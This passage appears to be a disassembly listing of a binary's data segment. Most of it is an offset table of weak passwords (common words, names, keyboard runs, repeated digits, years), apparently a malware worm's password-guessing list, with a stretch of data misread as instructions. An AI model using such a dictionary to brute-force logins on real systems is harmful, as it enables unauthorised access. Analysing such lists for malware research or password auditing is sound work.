		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_1		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F4B4
		dd offset dword_42F4B0
		dd offset dword_42F4AC
		dd offset dword_42F4A8
		dd offset dword_42F4A0
		dd offset dword_42F498
		dd offset dword_42F490
		dd offset dword_42F484
		dd offset loc_426447+1
		dd offset dword_42F480
		dd offset off_42F47C
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F470	; "+"
		dd offset asc_42F46C	; "++"
		dd offset asc_42F468	; "+++"
		dd offset asc_42F460	; "++++"
		dd offset asc_42F45C	; "-"
		dd offset asc_42F458	; "--"
		dd offset asc_42F458	; "--"
		dd offset asc_42F450	; "----"
		dd offset asc_42F44C	; "-+"
		dd offset asc_42F444	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F42C	; "$"
		dd offset asc_42F428	; "$$"
		dd offset asc_42F424	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_42645C
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426CEC	; "*"
		dd offset asc_42F3D4	; "**"
		dd offset asc_42F3D0	; "***"
		dd offset asc_42F3C8	; "****"
		dd offset asc_42F3C0	; "*****"
		dd offset asc_42F3B8	; "******"
		dd offset asc_42F3B0	; "*******"
		dd offset asc_42F3A4	; "********"
		dd offset asc_42F398	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4_0		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5_0		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_2		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_432D30	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ_1		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC_1		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd_1		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
; ---------------------------------------------------------------------------
		or	ah, ch
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh


loc_42E5C1:				; CODE XREF: seg001:0042E5D4j
		jmp	short loc_42E605
; ---------------------------------------------------------------------------
		align 4
		dd offset aFffff	; "fffff"
		dd offset aE		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
; ---------------------------------------------------------------------------
		loopne	loc_42E5C1
		inc	edx
		add	al, bl
		jmp	short loc_42E61D
; ---------------------------------------------------------------------------
		align 4
		shr	bl, 1
		inc	edx
		add	ah, cl
		jmp	short loc_42E625
; ---------------------------------------------------------------------------
		align 4
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
; ---------------------------------------------------------------------------
		mov	esp, 0B40042EBh
		jmp	short loc_42E635
; ---------------------------------------------------------------------------
		align 4
		lodsb
		jmp	short loc_42E639
; ---------------------------------------------------------------------------
		align 4
		dd offset asc_42EBA8	; "h"
; ---------------------------------------------------------------------------
		movsb
		jmp	short loc_42E641
; ---------------------------------------------------------------------------
		align 10h
		mov	al, ds:980042EBh


loc_42E605:				; CODE XREF: seg001:loc_42E5C1j
		jmp	short loc_42E649
; ---------------------------------------------------------------------------
		align 4
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
; ---------------------------------------------------------------------------
		test	ch, bl
		inc	edx
		add	[eax+7C0042EBh], al
		jmp	short loc_42E65D
; ---------------------------------------------------------------------------
		align 4
		db 74h
; ---------------------------------------------------------------------------


loc_42E61D:				; CODE XREF: seg001:0042E5D9j
		jmp	short loc_42E661
; ---------------------------------------------------------------------------
		align 10h
		dd offset aIiiii	; "iiiii"
		db 64h
; ---------------------------------------------------------------------------


loc_42E625:				; CODE XREF: seg001:0042E5E1j
		jmp	short loc_42E669
; ---------------------------------------------------------------------------
		align 4
		pusha
		jmp	short loc_42E66D
; ---------------------------------------------------------------------------
		align 4
		dd offset aJj		; "jj"
; ---------------------------------------------------------------------------
		pop	eax
		jmp	short near ptr byte_42E675
; ---------------------------------------------------------------------------
		align 4
		push	eax


loc_42E635:				; CODE XREF: seg001:0042E5F1j
		jmp	short loc_42E679
; ---------------------------------------------------------------------------
		align 4
		dec	eax


loc_42E639:				; CODE XREF: seg001:0042E5F5j
		jmp	short near ptr loc_42E679+4
; ---------------------------------------------------------------------------
		align 4
		inc	eax
		jmp	short near ptr loc_42E680+1
; ---------------------------------------------------------------------------
		align 10h
		db 3Ch
; ---------------------------------------------------------------------------


loc_42E641:				; CODE XREF: seg001:0042E5FDj
		jmp	short loc_42E685
; ---------------------------------------------------------------------------
		align 4
		dd offset aKk		; "kk"
		db 34h
; ---------------------------------------------------------------------------


loc_42E649:				; CODE XREF: seg001:loc_42E605j
		jmp	short loc_42E68D
; ---------------------------------------------------------------------------
		align 4
		sub	al, 0EBh
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[ebx+ebp*8], bl
		inc	edx
		add	[eax], bl
		jmp	short loc_42E69D
; ---------------------------------------------------------------------------
		align 4
		db 14h
; ---------------------------------------------------------------------------


loc_42E65D:				; CODE XREF: seg001:0042E619j
		jmp	short near ptr loc_42E69D+4
; ---------------------------------------------------------------------------
		align 10h
		db 10h
; ---------------------------------------------------------------------------


loc_42E661:				; CODE XREF: seg001:loc_42E61Dj
		jmp	short loc_42E6A5
; ---------------------------------------------------------------------------
		align 4
		dd offset aLlll		; "llll"
		db 0
; ---------------------------------------------------------------------------


loc_42E669:				; CODE XREF: seg001:loc_42E625j
		jmp	short loc_42E6AD
; ---------------------------------------------------------------------------
		align 4
		clc


loc_42E66D:				; CODE XREF: seg001:0042E629j
		jmp	far ptr	42h:0EAF40042h
; ---------------------------------------------------------------------------
		db 0F0h
byte_42E675	db 0EAh, 42h, 0		; CODE XREF: seg001:0042E631j
		db 0ECh
; ---------------------------------------------------------------------------


loc_42E679:				; CODE XREF: seg001:loc_42E635j
					; seg001:loc_42E639j
		jmp	far ptr	42h:0EAE40042h
; ---------------------------------------------------------------------------


loc_42E680:				; CODE XREF: seg001:0042E63Dj
		fsub	st(2), st
		inc	edx
		add	ah, dl


loc_42E685:				; CODE XREF: seg001:loc_42E641j
		jmp	far ptr	42h:0EAD00042h
; ---------------------------------------------------------------------------
		db 0CCh
; ---------------------------------------------------------------------------


loc_42E68D:				; CODE XREF: seg001:loc_42E649j
		jmp	far ptr	42h:0EAC80042h
; ---------------------------------------------------------------------------
		shr	dl, 42h
		add	[eax-4FFFBD16h], bh


loc_42E69D:				; CODE XREF: seg001:0042E659j
					; seg001:loc_42E65Dj
		jmp	far ptr	42h:0EAAC0042h
; ---------------------------------------------------------------------------
		db 0A8h
; ---------------------------------------------------------------------------


loc_42E6A5:				; CODE XREF: seg001:loc_42E661j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		pushf


loc_42E6AD:				; CODE XREF: seg001:loc_42E669j
		jmp	far ptr	42h:0EA940042h
; ---------------------------------------------------------------------------
		dd offset aOooooo	; "oooooo"
		dd offset aP_1		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU_0		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ_1		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
